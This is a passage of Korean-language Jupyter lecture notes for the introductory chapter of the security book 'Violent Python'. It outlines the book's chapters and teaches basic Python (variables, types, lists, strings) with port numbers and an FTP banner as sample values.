books/violent_python/ch01_Introduction.ipynb

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  {
   "cells": [
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "# 1. \uc18c\uac1c\n",
      "\n",
      "## [\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c](http://www.yes24.com/24/goods/8433461)\n",
      "\n",
      "<img src=\"files/images/violent_python.jpeg\" width=\"200px\" />\n"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "1. \uc18c\uac1c\n",
      "2. \uce68\ud22c \ud14c\uc2a4\ud2b8\n",
      "3. \ud3ec\ub80c\uc2dd \uc218\uc0ac\n",
      "4. \ub124\ud2b8\uc6cc\ud06c \ud2b8\ub798\ud53d \ubd84\uc11d\n",
      "5. \ubb34\uc120 \uae30\uae30 \ud574\ud0b9\n",
      "6. \uc815\ubcf4\uc218\uc9d1\n",
      "7. \ubc31\uc2e0 \ud504\ub85c\uadf8\ub7a8 \uc6b0\ud68c"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "- \uac1c\ubc1c \ud658\uacbd\n",
      "- \ud30c\uc774\uc36c \uc5b8\uc5b4\n",
      "- \uc720\ub2c9\uc2a4 \ud328\uc2a4\uc6cc\ub4dc \ud06c\ub798\ucee4\n",
      "- \uc555\ucd95\ud30c\uc77c \ud328\uc2a4\uc6cc\ub4dc \ud06c\ub798\ucee4\n",
      "\n",
      "- \ud3ec\ud2b8 \uc2a4\uce90\ub108 \n",
      "- SSH \ubd07\ub137\n",
      "- \ucee8\ud53c\ucee4\n",
      "- \uc81c\ub85c\ub370\uc774\n",
      "\n",
      "- \ud3ec\ub80c\uc2dd \uc218\uc0ac\n",
      "- \ub808\uc988\uc2a4\ud2b8\ub9ac\uc758 \ubb34\uc120 AP \ubd84\uc11d\n",
      "- \uc0ad\uc81c\ub41c \uc544\uc774\ud15c \ubcf5\uad6c\ud558\uae30\n",
      "- \uba54\ud0c0\ub370\uc774\ud130\n",
      "- \uc560\ud50c\ub9ac\ucf00\uc774\uc158 \uc0ac\uc6a9\ud754\uc801 \uc218\uc0ac\n",
      "- iTunes \ubc31\uc5c5 \uc870\uc0ac\ud558\uae30\n",
      "\n",
      "- \ub124\ud2b8\uc6cc\ud06c \ud2b8\ub798\ud53d \ubd84\uc11d\n",
      "- IP \ud2b8\ub798\ud53d\uc758 \ubaa9\uc801\uc9c0\ub294?\n",
      "- \uc5b4\ub098\ub2c8\uba38\uc2a4\uac00 \uc815\ub9d0 \uc775\uba85\uc778 \uac83\uc77c\uae4c?\n",
      "- TTL \ud544\ub4dc\n",
      "- \ub3c4\uba54\uc778 \ud50c\ub7ed\uc2a4\n",
      "- TCP \uc77c\ub828 \ubc88\ud638 \uc608\uce21 \uacf5\uaca9\n",
      "- IDS \uacf5\uaca9\ud558\uae30\n",
      "\n",
      "- \ubb34\uc120 \uae30\uae30 \ud574\ud0b9\n",
      "- WALL OF SHEEP\n",
      "- \ub178\ud2b8\ubd81 \ucef4\ud4e8\ud130\ub97c \uc0ac\uc6a9\ud55c \uacf3\uc740?\n",
      "- \ud30c\uc774\uc36c\uc73c\ub85c UAV \uc81c\uc5b4\ud558\uae30\n",
      "- FIRESHEEP \ud0d0\uc9c0\ud558\uae30\n",
      "- \ube14\ub8e8\ud22c\uc2a4\uc640 \ud30c\uc774\uc36c\uc73c\ub85c \uc2a4\ud1a0\ud0b9\ud558\uae30\n",
      "\n",
      "- \uc815\ubcf4\uc218\uc9d1\n",
      "- \uc624\ub298\ub0a0\uc758 \uc0ac\ud68c\uacf5\ud559\uae30\ubc95\n",
      "- MECHANIZE \ub77c\uc774\ube0c\ub7ec\ub9ac\ub85c \uc778\ud130\ub137 \uac80\uc0c9\n",
      "- ANONBROWSER\ub85c \uc6f9 \ud398\uc774\uc9c0 \uc815\ubcf4 \uc218\uc9d1\n",
      "- \uad6c\uae00 API \uc0ac\uc6a9\ud558\uae30\n",
      "- \uc775\uba85\uc758 \uc774\uba54\uc77c\n",
      "\n",
      "- \ubc31\uc2e0 \ud504\ub85c\uadf8\ub7a8 \uc6b0\ud68c\n",
      "\n",
      "## \uc800\uc790 \uc18c\uac1c\n",
      "\n",
      "- \ubbf8 \uad6d\ubc29\ubd80\uc758 \uc815\ubcf4\ubcf4\uc548 \uc804\ubb38\uac00\n",
      "\n",
      "## \uc5ed\uc790\uc758 \uae00\n",
      "\n",
      "- \uce68\ud22c \ud14c\uc2a4\ud2b8 \ub610\ub294 \ubaa8\uc758 \ud574\ud0b9\uc744 \ud558\uae30 \uc704\ud574\uc11c\ub294 \ub9ce\uc740 \uc9c0\uc2dd \ud544\uc694\n",
      "- \ubaa8\uc758 \ud574\ud0b9 \ubc29\ubc95\ub860\n",
      "- \uc815\ubcf4 \uc218\uc9d1\n",
      "- \uc5ec\ub7ec \ud574\ud0b9 \ud234 \uc0ac\uc6a9\ubc95\n",
      "- \uc6b4\uc601\uccb4\uc81c\uc5d0 \ub300\ud55c \uc9c0\uc2dd\n",
      "- \ub370\uc774\ud130\ubca0\uc774\uc2a4 \uba85\ub839\uc5b4\n",
      "- \uc5ec\ub7ec \ud504\ub85c\uadf8\ub798\ubc0d \uc5b8\uc5b4\uc5d0 \ub300\ud55c \uc9c0\uc2dd\n",
      "- \uace0\uae09 \uce68\ud22c \ud14c\uc2a4\ud130\uac00 \ub418\uae30 \uc704\ud574\uc11c\ub294 \ud55c\ub450 \uac00\uc9c0 \ud504\ub85c\uadf8\ub798\ubc0d \ub610\ub294 \uc2a4\ud06c\ub9bd\ud2b8 \uc5b8\uc5b4\ub97c \uc798 \ub2e4\ub8f0 \uc904 \uc54c\uc544\uc57c \ud568\n",
      "- \ud30c\uc774\uc36c\uc758 \uac00\uc7a5 \ud070 \uc7a5\uc810\uc740 \ub9ce\uc740 \ub77c\uc774\ube0c\ub7ec\ub9ac\uac00 \uc874\uc7ac\n",
      "- \uce68\ud22c \ud14c\uc2a4\ud2b8\ub294 \uc2dc\uac04\uacfc\uc758 \uc2f8\uc6c0\n",
      "- \ud30c\uc774\uc36c \ub77c\uc774\ube0c\ub7ec\ub9ac\ub97c \uc0ac\uc6a9\ud558\uba74 \uc9e7\uc740 \ucf54\ub4dc\ub85c \uadf8\ub9ac\uace0 \ube60\ub978 \uc2dc\uac04 \ub0b4\uc5d0 \uc6d0\ud558\ub294 \ubaa9\uc801 \ub2ec\uc131\n",
      "- \ud30c\uc774\uc36c\uc740 \uc27d\ub2e4.\n",
      "- C\uac19\uc740\uc740 \uc5b8\uc5b4\ub294 \ud3ec\uc778\ud130\uc640 \uba54\ubaa8\ub9ac \ud560\ub2f9 \uac19\uc740 \ubd80\ubd84\uc744 \uc9c1\uc811 \ud504\ub85c\uadf8\ub798\ubc0d\ud574\uc57c \ud568\n",
      "- \ud30c\uc774\uc36c\uc740 \uc2a4\ud06c\ub9bd\ud2b8 \uc5b8\uc5b4\uc774\uba74\uc11c \ucef4\ud30c\uc77c\uc744 \ud560 \uc218 \uc788\ub2e4\ub294 \uac83\n",
      "- \uc9c4\uc815\ud55c \uc758\ubbf8\uc758 \ucef4\ud30c\uc77c\uc740 \uc544\ub2c8\uc9c0\ub9cc, \ucef4\ud30c\uc77c\uacfc \ub3d9\uc77c\ud55c \ud6a8\uacfc\ub97c \uc5bb\uc744 \uc218 \uc788\uc5b4 \ud30c\uc774\uc36c\uc774 \uc124\uce58\ub418\uc9c0 \uc54a\uc740 \uacf5\uaca9 \ub300\uc0c1\uc5d0\uc11c\ub3c4 \ud30c\uc774\uc36c \ucf54\ub4e4\ub974 \uc2e4\ud589\ud560 \uc218 \uc788\ub2e4\n",
      "\n",
      "\n",
      "## \uc774 \uc7a5\uc5d0\uc11c \ub2e4\ub8e8\ub294 \ub0b4\uc6a9\n",
      "\n",
      "- \ud30c\uc774\uc36c \uac1c\ubc1c \ud658\uacbd \uad6c\uc131\n",
      "- \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub798\ubc0d \uc5b8\uc5b4\uc5d0 \ub300\ud55c \uc18c\uac1c\n",
      "- \ubcc0\uc218, \ub370\uc774\ud130 \ud0c0\uc785, \ubb38\uc790\uc5f4, \ub9ac\uc2a4\ud2b8, \ub515\uc154\ub108\ub9ac \uadf8\ub9ac\uace0 \ud568\uc218\uc5d0 \ub300\ud55c \uc124\uba85\n",
      "- \ub124\ud2b8\uc6cc\ud06c, \ubc18\ubcf5\ubb38, \uc120\ud0dd, \uc608\uc678\ucc98\ub9ac \uadf8\ub9ac\uace0 \ubaa8\ub4c8 \uc791\uc5c5\n",
      "- \uccab\ubc88\uc9f8 \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub7a8 - \ub515\uc154\ub108\ub9ac \ud328\uc2a4\uc6cc\ub4dc \ud06c\ub798\ucee4\n",
      "- \ub450\ubc88\uc9f8 \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub7a8 - \uc555\ucd95\ud30c\uc77c \ubb34\ucc28\ubcc4\ub300\uc785 \ud06c\ub798\ucee4\n",
      "\n",
      "## \uac1c\ubc1c \ud658\uacbd \uad6c\uc131\ud558\uae30\n",
      "\n",
      "- \ud30c\uc774\uc36c \uc778\ud130\ud504\ub9ac\ud130, \ud45c\uc900 \ub77c\uc774\ube0c\ub7ec\ub9ac\n",
      "- \uc790\uccb4 \ub370\uc774\ud130 \ud0c0\uc785\n",
      "- \uc608\uc678 \ucc98\ub9ac\n",
      "- \uc22b\uc790\uc640 \uc218\ud559 \ubaa8\ub4c8\n",
      "- \ud30c\uc77c \ucc98\ub9ac\n",
      "- \uc554\ud638\ud654 \uc11c\ube44\uc2a4\n",
      "- \uc6b4\uc601\uccb4\uc81c\uc640\uc758 \uc0c1\ud638 \ud638\ud658\uc131\n",
      "- \uc778\ud130\ub137 \ub370\uc774\ud130 \ucc98\ub9ac\n",
      "- IP \ud504\ub85c\ud1a0\ucf5c \ucc98\ub9ac\n",
      "\n",
      "\n",
      "- \uc190\uc27d\uac8c \uc678\ubd80 \ud328\ud0a4\uc9c0 \uc124\uce58"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "-----\n",
      "\n",
      "### Slide Show \uc6a9\uc5b4 \uad6c\ubd84\n",
      "\n",
      "- \\-: \uc544\ubb34\uac83\ub3c4 \uc548\ud574\ub3c4 \uadf8\ub0e5 \ubcf4\uc5ec\uc8fc\uae30\n",
      "- Slide: \uba85\ud655\ud55c \uba85\uc81c\n",
      "- Sub-Slide: Slide \uc548\uc5d0 \ud3ec\ud568\ub418\ub294 \ub0b4\uc6a9. \uadf8\ub7f0\ub370 \ubb38\uc81c\ub294 2\uc911\ub9cc \ud3ec\ud568\ub418\ub294 \ub0b4\uc6a9\uc774\ub77c\uba74 \ub531\uc774\uc9c0\ub9cc 3\uc911\uae4c\uc9c0 \ub0b4\ub824\uac00\ub2e4 \ubcf4\uba74 \uc124\uba85\ud558\uae30\uac00 \uaf64 \uc5b4\ub824\uc6c0\n",
      "- Fragments: \ud074\ub9ad\ud558\uba74 \ubcf4\uc5ec\uc8fc\uae30. \uc870\uac01\n",
      "- Skip: Slide show\uc5d0\uc11c \ubcf4\uc5ec\uc8fc\uc9c0 \uc54a\ub294\ub2e4.\n",
      "-----"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \ud30c\uc774\uc36c \uc2e4\uc2b5\n",
      "\n",
      "- [PyCharm](http://www.jetbrains.com/pycharm/): IDE\ub85c\uc368 eclipse\uc758 pydev\ubcf4\ub2e4 \ud6e8\uc52c \uc88b\uc740\uac83 \uac19\ub2e4. eclipse\ub294 \ubd88\uc548\uc815\ud568. \ub0b4\uac00 \uc815\ud488\uc73c\ub85c \uad6c\ub9e4\ud574\uc11c \uc0ac\uc6a9\ud558\ub294 \uc81c\ud488"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "### \uc678\ubd80 \ub77c\uc774\ube0c\ub7ec\ub9ac \uc124\uce58\n",
      "\n",
      "- mac \uae30\uc900\n",
      "- pip\uac00 \ud6e8\uc52c \uc26c\uc6b0\ub2c8 \uc774\uac78\ub85c \ub77c\uc774\ube0c\ub7ec\ub9ac \uc124\uce58\n",
      "- [beautifulsoup4](http://www.crummy.com/software/BeautifulSoup/) \uc18c\ubb38\uc790\ub85c \uc791\uc131\n",
      "\n",
      "\n",
      "> sudo pip install python-nmap pygeoip mechanize beautifulsoup4\n",
      "\n",
      "- [\uc708\ub3c4\uc6b0\uc5d0\uc11c easy_install, pip \uc0ac\uc6a9\ud558\uae30](http://amornatura.tistory.com/95)\n",
      "- 5\uc7a5 \ube14\ub8e8\ud22c\uc2a4 \ub77c\uc774\ube0c\ub7ec\ub9ac \ud544\uc694\n",
      "- 6, 7\uc7a5 \uc708\ub3c4\uc6b0 \ud30c\uc774\uc36c \ud544\uc694"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \ud30c\uc774\uc36c\uc758 \ub450 \uac00\uc9c0 \ubaa8\ub4dc\n",
      "\n",
      "1. .py \ud655\uc7a5\uc790\ub97c \uac00\uc9c4 \ud30c\uc77c \uc2e4\ud589\n",
      "2. Interactive \ubaa8\ub4dc(\uc0c1\ud638 \uc791\uc6a9)"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# .py \ud655\uc7a5\uc790\ub97c \uac00\uc9c4 \ud30c\uc77c \uc2e4\ud589 \ubaa8\ub4dc\n",
      "# >\ub294 \ub9ac\ub2e4\uc774\ub809\uc158 \uae30\ud638: \ud30c\uc77c \uc800\uc7a5\ud558\ub294 \uac83\n",
      "!echo print \\\"Hello World\\\" > ch01/hello.py\n",
      "!python ch01/hello.py"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Hello World\r\n"
       ]
      }
     ],
     "prompt_number": 1
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!cat ch01/hello.py"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "print \"Hello World\"\r\n"
       ]
      }
     ],
     "prompt_number": 2
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# Interactive \ubaa8\ub4dc. \n",
      "# ipython notebook\uc774 \uc88b\uc740 \uc608\n",
      "print 'Hello World1111'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Hello World1111\n"
       ]
      }
     ],
     "prompt_number": 3
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "#### \ud568\uc218 \uc791\uc131\ubc95"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \ub2e4\uc74c \uc5ec\ub7ec\uc7a5\uc5d0 \uac78\uccd0 \ud30c\uc774\uc36c \uc608\ub97c \uc124\uba85\ud558\uba74\uc11c **\uba54\uc18c\ub4dc** \ub610\ub294 **\ud568\uc218**\ub77c\uace0 \ubd88\ub9ac\ub294 \ucf54\ub4dc \ube14\ub85d\uc744 \uc5ec\ub7ec \uac1c \uc0ac\uc6a9\ud558\uc5ec \uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc791\uc131\ud560 \uac83"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uac01 \uc2a4\ud06c\ub9bd\ud2b8\ub97c \ub9c8\ubb34\ub9ac\ud558\uba74\uc11c \uc774\ub7ec\ud55c **\uba54\uc18c\ub4dc\ub97c \uc5b4\ub5bb\uac8c \uc791\uc131\ud558\ub294\uc9c0**, \uadf8\ub9ac\uace0 **main() \uba54\uc18c\ub4dc\uc5d0\uc11c \uc5b4\ub5bb\uac8c \ud638\ucd9c\ud558\ub294\uc9c0** \ubcf4\uc5ec\uc904 \uac83"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \ud638\ucd9c\ud560 \uc218 \uc5c6\ub294 \ub3c5\ub9bd\ub41c \ud568\uc218\ub9cc \uc788\ub294 \uc2a4\ud06c\ub9bd\ud2b8\ub294 \uc544\ubb34\ub7f0 \ub3c4\uc6c0\uc774 \uc548\ub428"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uc644\uc131\ub41c \uc2a4\ud06c\ub9bd\ud2b8\uc5d0\ub294 main() \ud568\uc218\uac00 \uc815\uc758\ub418\uc5b4 \uc788\uae30 \ub54c\ubb38\uc5d0 \ub300\ubd80\ubd84\uc758 \uacbd\uc6b0 \uc644\uc804\ud55c \uc2a4\ud06c\ub9bd\ud2b8\uac00 \ubb34\uc5c7\uc778\uc9c0 \ud55c\ub208\uc5d0 \uc54c\uc544\ubcfc \uc218 \uc788\uc744 \uac83"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "## \ud30c\uc774\uc36c \uc5b8\uc5b4\n",
      "\n",
      "- \ubcc0\uc218\n",
      "- \ub370\uc774\ud130 \ud0c0\uc785\n",
      "- \ubb38\uc790\uc5f4\n",
      "- \ubcf5\uc7a1\ud55c \ub370\uc774\ud130 \uad6c\uc870\n",
      "- \ub124\ud2b8\uc6cc\ud06c\n",
      "- \uc120\ud0dd\n",
      "- \ubc18\ubcf5\ubb38\n",
      "- \ud30c\uc77c \ucc98\ub9ac\n",
      "- \uc608\uc678 \ucc98\ub9ac\n",
      "- \uc6b4\uc601\uccb4\uacc4\uc640\uc758 \uc0c1\ud638\uc6b4\uc601\uc131\n",
      "- \uc124\uba85\ud560 \uac83\uc784\n",
      "\n",
      "- \uc774 \uc2a4\ud06c\ub9bd\ud2b8\ub294 TCP \uc18c\ucf13\uc5d0 \uc5f0\uacb0\ud558\uc5ec \uc11c\ube44\uc2a4\uc758 \ubc30\ub108\ub97c \uc77d\uace0, \uc774\ubbf8 \uc54c\ub824\uc9c4 \ucde8\uc57d\ud55c \uc11c\ube44\uc2a4 \ubc84\uc804\uc758 \ubc30\ub108\uc640 \uc77d\uc5b4\uc628 \ubc30\ub108\ub97c \ube44\uad50\ud558\ub294 \uac04\ub2e8\ud55c \ucde8\uc57d\uc810 \uc2a4\uce90\ub108"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### \ubcc0\uc218\n",
      "\n",
      "- \ubcc0\uc218: \uba54\ubaa8\ub9ac\uc5d0 \uc800\uc7a5\ub418\uc5b4 \uc788\ub294 \ub370\uc774\ud130\n",
      "- \uba54\ubaa8\ub9ac\uc5d0\ub294 \uc815\uc218, \uc2e4\uc218, \ubd88\ub9ac\uc5b8, \ubb38\uc790\uc5f4\ubfd0\ub9cc \uc544\ub2c8\ub77c \ub9ac\uc2a4\ud2b8\uc640 \ub515\uc154\ub108\ub9ac \uac19\uc774 \ub354 \ubcf5\uc7a1\ud55c \ub370\uc774\ud130\uae4c\uc9c0 \uc800\uc7a5 \uac00\ub2a5\n",
      "- \ub450 \uac1c\uc758 \ubcc0\uc218\ub97c \ud558\ub098\ub85c \ud569\uce58\uae30 \uc704\ud574\uc11c\ub294 \ubc18\ub4dc\uc2dc \ub370\uc774\ud130 \ud615\uc744 \ub3d9\uc77c\ud558\uac8c \ub9de\ucdb0\uc918\uc57c \ud55c\ub2e4."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "port = 21"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 4
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "port"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 5,
       "text": [
        "21"
       ]
      }
     ],
     "prompt_number": 5
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "banner = 'FreeFloat FTP Server'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 6
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print '\\''"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "'\n"
       ]
      }
     ],
     "prompt_number": 7
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print '[+] Checking for ' + banner + ' on port ' + port"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "ename": "TypeError",
       "evalue": "cannot concatenate 'str' and 'int' objects",
       "output_type": "pyerr",
       "traceback": [
        "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m\n\u001b[0;31mTypeError\u001b[0m                                 Traceback (most recent call last)",
        "\u001b[0;32m<ipython-input-8-16abb4da8df8>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0;31m \u001b[0;32mprint\u001b[0m \u001b[0;34m'[+] Checking for '\u001b[0m \u001b[0;34m+\u001b[0m \u001b[0mbanner\u001b[0m \u001b[0;34m+\u001b[0m \u001b[0;34m' on port '\u001b[0m \u001b[0;34m+\u001b[0m \u001b[0mport\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
        "\u001b[0;31mTypeError\u001b[0m: cannot concatenate 'str' and 'int' objects"
       ]
      }
     ],
     "prompt_number": 8
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print '[+] Checking for ' + banner + ' on port ' + str(port)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": []
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "- \ud504\ub85c\uadf8\ub798\uba38\uac00 \ubcc0\uc218\ub97c \uc120\uc5b8\ud558\uba74 \ud30c\uc774\uc36c\uc740 \uba54\ubaa8\ub9ac\uc5d0 \uacf5\uac04\uc744 \ud655\ubcf4\n",
      "- \uc5b4\ub5a4 \uc885\ub958\uc758 \ub370\uc774\ud130\ub97c \uc0ac\uc6a9\ud560 \uac83\uc778\uc9c0 \uba85\ud655\ud558\uac8c \uc120\uc5b8\ud558\uc9c0 \uc54a\uc544\ub3c4 \ub428\n",
      "- \ub300\uc2e0\uc5d0 \ud30c\uc774\uc36c \uc778\ud130\ud504\ub9ac\ud130 \ubcc0\uc218\uac00 \uc5b4\ub5a4 \ub370\uc774\ud130 \ud0c0\uc785\uc778\uc9c0 \uadf8\ub9ac\uace0 \uba54\ubaa8\ub9ac\uc5d0\uc11c \uc5bc\ub9c8\ub098 \ub9ce\uc740 \uacf5\uac04\uc744 \ud655\ubcf4\ud560 \uac83\uc778\uc9c0 \uacb0\uc815\n",
      "- C\uc5b8\uc5b4\ub294 \ubcc0\uc218 \uc120\uc5b8\ud560 \ub54c\ub9c8\ub2e4 \ub370\uc774\ud130 \ud615\uc744 \uc9c0\uc815\ud574 \uc918\uc57c \ub418\uc11c \uc9dc\uc99d\uc774\ub09c\ub2e4. \ud558\uc9c0\ub9cc \uc774 \ub370\uc774\ud130\ud615\uc744 \uc9c0\uc815\ud574 \uc8fc\ub294 \uac83\ub9cc\uc73c\ub85c\ub3c4 \uc18d\ub3c4 \ud5a5\uc0c1\uc5d0 \uc9c0\ub300\ud55c \uacf5\ud5cc\uc744 \ud55c\ub2e4. \uc2e4\uc81c\ub85c pypy\ub294 \ub370\uc774\ud130 \ud615\uc744 \ubbf8\ub9ac \uc9c0\uc815\ud574 \uc8fc\uc5b4 \ud30c\uc774\uc36c\uc758 \ub290\ub9b0 \uc18d\ub3c4\ub97c \uac1c\uc120\ud558\uc600\ub2e4. \uc7a5, \ub2e8\uc810\uc774 \uc874\uc7ac\ud55c\ub2e4."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "type(banner)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 9,
       "text": [
        "str"
       ]
      }
     ],
     "prompt_number": 9
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "type(port)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 10,
       "text": [
        "int"
       ]
      }
     ],
     "prompt_number": 10
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "type(str(port))"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 11,
       "text": [
        "str"
       ]
      }
     ],
     "prompt_number": 11
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList = [21, 22, 80, 110] # A list"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "outputs": [],
     "prompt_number": 12
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "type(portList)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 13,
       "text": [
        "list"
       ]
      }
     ],
     "prompt_number": 13
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portList2 = [21, 22, 80, 110, 'string'] # A list\n",
      "portList2"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 14,
       "text": [
        "[21, 22, 80, 110, 'string']"
       ]
      }
     ],
     "prompt_number": 14
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "portOpen = True # A boolean"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 15
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "type(portOpen)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 16,
       "text": [
        "bool"
       ]
      }
     ],
     "prompt_number": 16
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### \ubb38\uc790\uc5f4\n",
      "\n",
      "- \ud30c\uc774\uc36c \ubb38\uc790\uc5f4 \ubaa8\ub4c8\uc5d0\ub294 \uac15\ub825\ud55c \uba54\uc18c\ub4dc\ub4e4\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc74c\n",
      "- \uc815\ud655\ud788 \uc5b4\ub5a4 \uba54\uc18c\ub4dc\ub4e4\uc774 \uc788\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574\uc11c\ub294 [string](http://docs.python.org/library/string.html)\uc5d0 \uc788\ub294 \ud30c\uc774\uc36c \ubb38\uc11c\ub97c \uc77d\uc5b4\ubcf4\uc790\n",
      "- upper(), lower(), replace(), find() \ub4f1\uc758 \uc720\uc6a9\ud55c \uba54\uc18c\ub4dc"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "banner"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 17,
       "text": [
        "'FreeFloat FTP Server'"
       ]
      }
     ],
     "prompt_number": 17
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# string\uc5d0\uc11c \uc5b4\ub5a4 \uba54\uc18c\ub4dc\ub4e4\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294\uc9c0 \uc54c\ub824\uc90c\n",
      "dir(banner)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 18,
       "text": [
        "['__add__',\n",
        " '__class__',\n",
        " '__contains__',\n",
        " '__delattr__',\n",
        " '__doc__',\n",
        " '__eq__',\n",
        " '__format__',\n",
        " '__ge__',\n",
        " '__getattribute__',\n",
        " '__getitem__',\n",
        " '__getnewargs__',\n",
        " '__getslice__',\n",
        " '__gt__',\n",
        " '__hash__',\n",
        " '__init__',\n",
        " '__le__',\n",
        " '__len__',\n",
        " '__lt__',\n",
        " '__mod__',\n",
        " '__mul__',\n",
        " '__ne__',\n",
